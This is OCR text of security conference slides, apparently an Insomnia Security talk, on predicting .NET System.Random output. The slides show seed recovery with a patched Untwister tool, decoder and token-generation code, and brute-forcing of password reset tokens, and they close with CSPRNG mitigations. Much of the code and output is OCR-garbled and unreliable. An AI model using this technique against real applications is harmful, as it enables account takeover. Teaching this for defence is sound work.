System.Random () Untwister Patch

WL ADE Z N PO BN SN SRR o dloms e G0 00 A e mpLE ()

{
aLngE of 28 IF MeEicYedl 5

uint3§_t locINext = inext;
BN S0 Ve 5 N SF 0 A WU SEE

(SEAIYOIC TNe x> I @GN = s
(++locINextp >= L) WO WNE X B0 - WY

retVal = SeedArray[locINext]-SeedArray[locINextp]:;

(retvVal == MBIG) retVal--;
(retVal<l) retVal+=MBIG;

SeedArray[locINext] = retVal;

i el = . GICT Nesd o
inextp = locINextp;

retwvail

Not So Random




System.Random () Untwister Patch

DotNetSystemRandom: :getMinSeed ()

// System.Random() is seeded with an int; signed integer

DotNetSystemRantem: :getMaxSeed ()

// System.Random()\is seeded with an int; signed integer
INT MAX;

int ii:
int mj, mk;

AAInitialize our array

J/This algorithm con om Mumerical Recipes
int subtraction == Int32 . Minvalue) 7
mj = MSEED - subtraction;

SeedArray [55]=mj ;

Not So Random
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NET System.Random () - Exploitation

= Tokens are encoded characters

= Decode back to raw numbers first

Not So Random /ﬁ
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NET System.Random () - Exploitation

#!/usr/bin/python

e DoKW decREciv L o)
N TR = 16 5
"0123456789%abcdefghijklmnopgrstuvwxyzABCDEFGHI JKLMNOPQRSTUVWXYZ"
raw []
character token:
CLAPANIES YL de ehigrpd e oA nEe R (Fiarrdteie T
raw.append (character index)
raw

AN LETED P AN O
GO LAWY BN RSN € 8 5 =) e e NN ORCRNEONI o Uie LN
dGetcdy @it FokemYe o e O At aicE)
character e € o0l GINGOKERY,

(character)

Not So Random




X4

NET System.Random () - Exploitation

# python decoder.py
[*] Please enter token to decode: g2COMOWu3nGgljSFg734wFTtlaBLedPs
16

2

38

50

48

°,

58

30

3

263

42

16

Not So Random /ﬁ
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NET System.Random () - Exploitation

# cat tokens.txt
16
7
38
o
48
9
58
30
£
2%
42
16

Not So Random /ﬁ
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NET System.Random () - Exploitation

:~# ./untwister/untwister -r dotnet-
systemrandom -1 tokens.txt -d 32:x-m 0 —-M 61

Depth of 32

Not So Random /ﬁ
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NET System.Random () - Exploitation

:~# ./untwister/untwister -r dotnet-
systemrandom -1 tokens.txt -d 32 -m 0 -M 61

Depth set to: 32
Skipping inference attack...
Looking for seed using dotnet-systemrandom
| *] Spawning 2 worker thread(s)
[ *] Completed 1n 0 second(s)
[$S] Found seed 2281843 with a confidence of 100.00%

Not So Random /ﬁ




4. Seed new PRNGs with possible seeds since first
seed, generate tokens

Not So Random /ﬁ



NET System.Random () - Exploitation

L EASTIN PR FeSNG e O = ;
LntbrmaxValuey =rminValue it -

Parallel.For (minValue, maxValue, 1ndex => {
Random rnd = Random (1ndex) ;
string randomToken = GenerateToken (rnd) ;
Console.WritelLine (randomToken) ;

Not So Random /ﬁ

Sy



NET System.Random () - Exploitation

Time when first

/ token generated
1int minValue =

4

DN AN e e N eI =N AN N e e -

Parallel.For (minValue, maxValue, 1ndex => {
Random rnd = Random (1ndex) ;
string randomToken = GenerateToken (rnd) ;
Console.WritelLine (randomToken) ;

Not So Random /ﬁ
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NET System.Random () - Exploitation

Within a minute
| . of first token
1nt minValue = H

int maxValue =|minValue + =

Parallel.For (minValue, maxValue, 1ndex => {
Random rnd = Random (1ndex) ;
string randomToken = GenerateToken (rnd) ;
Console.WritelLine (randomToken) ;

Not So Random /ﬁ

Sy
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NET Trick — csc.exe

@ ISR s e A e e e A A O R ANET RIS mehi® A AN A BN G G esde
GeneratePossibleTokens.cs

C:\Users\User>GeneratePossibleTokens.exe
g2COMO9Wu3nGgljSFg/734wFTt1aBLedPs
NkjleloZbKg2HPA1GJ4sEU3PrOsovlcd
JC1l£GTQu]7a0olhUbm6eQMacbxs]j0ONPzZ
QUIs8LhZruTB5SZxwY8eVpowE6bbD4DWL
PNO5uoDuOB6W8g5pMQdo ] 9UzW2KuUT322
V5vIWgSZVXQIPXM2cseMso4V2GCohaRp]
sndwo8wu3kAvwtuFC4gaADfh83tJrFMz
YFUJQ1YObHjhcZbh2HiyISpCeXklIt9P
UYBWiTqvi434TwSUs)jWQ7AYkBcYOhw6
1g73aKLSO0grNQAZ2AxXTW1kZnKkgf3Ah5Tm
X8OS O SGR A SN I @ ERADDCwINGS

Not So Random /ﬁ




5. Attempt tokens against application for collision
with target token

Not So Random /ﬁ



Practical Exploitation

Filter: Showing all items

Status Error Timeout | Length ¥ | Comment

LRI LR | P ]

PPtQOO:
bwEgdcas

4
S
[

E'Ttll -t'-h:lT'
WEDdGmMods. ..
II".IlEIIEtU ..

[ |

(K]

VpbUrn7dwn .
iBmkFlIRfuhmPWZMIgs |F'|||::| .
Jwrs0iMIOpx '|:|HI|5 LHFRS. ..

Not So Random




Exploitation Theory

g2COMO9Wu3nGgl JSFg734wFTt
1aBLedPs

rIdC445mMofl1LfTGfrRxRZBr
Oor3LwSE

Target Password Reset Token

Obtain seed from
kKnown output

Not So Random




Practical Exploitation - Tips

= \When brute forcing, ideally want to be using raw output from the
PRNG (numbers)

» Bear in mind depth when trying to crack a PRNG that may have
Beef_n called numerous times, 1000 default with Untwister should
e fine

» Get as many samples of the PRNG output as you can;
decrease chance of wrong seed collision

Not So Random /ﬁ



Practical Exploitation - Tips

» Load balancing can be an issue; multiple application servers will
cause multiple PRNGs to be generating output.

» Use Persistent HT TP connections to force same process
" Connection: Keep-Alive

* Not covered In this talk, but state recovery attacks are also a
possibility against PRNGs given enough output

Not So Random /ﬁ



Mitigations

Need a truly random number?

Not So Random /ﬁ




Mitigations

Need a truly random number?

USE A CSPRNG




Mitigations — User Mode

Language CSPRNG
NET RNGCryptoServerProvider ()

Java java.security.SecureRandom ()

JavaScript (Node.|s) crypto.RandomBytes ()

PHP random bytes ()

Python random. SystemRandom ()
os.urandom ()

Not So Random /ﬁ




X4

Developers, Developers, Developers

»Check your own applications

= Are you using a CSPRNG for:
» Password reset tokens?
» CSRF tokens?
= Session identifiers?
» Cryptographic primitives?
» Secret/unpredictable value generation?

Not So Random /ﬁ




Untwister Patches

» Bounded PHP rand () *
= Bounded PHP mt rand ()
* NET System.Random ()

= * PHP 5 Linux glibc rand ()

Not So Random /ﬁ



https://github.com/hyprwired/untwister

Links / Further Reading

Not So Random /ﬁ



https://www.bishopfox.com/blog/2014/08/untwisting-mersenne-twister-killed-prng/
https://github.com/altf4/untwister
https://msdn.microsoft.com/en-us/library/system.security.cryptography.rngcryptoserviceprovider(v=vs.110).aspx
https://docs.oracle.com/javase/7/docs/api/java/security/SecureRandom.html
https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback
http://php.net/manual/en/function.random-bytes.php
https://docs.python.org/2/library/random.html#random.SystemRandom
https://docs.python.org/2/library/os.html#os.urandom

SECURITY SPECIALISTS :: RESTLECURED

WWWw.insomniasec.com

For sales enquiries: sales@insomniasec.com
All other enquiries: enquiries@insomniasec.com
Auckland office: +64 (0)9 972 3432

Wellington office: +64 (0)4 974 6654
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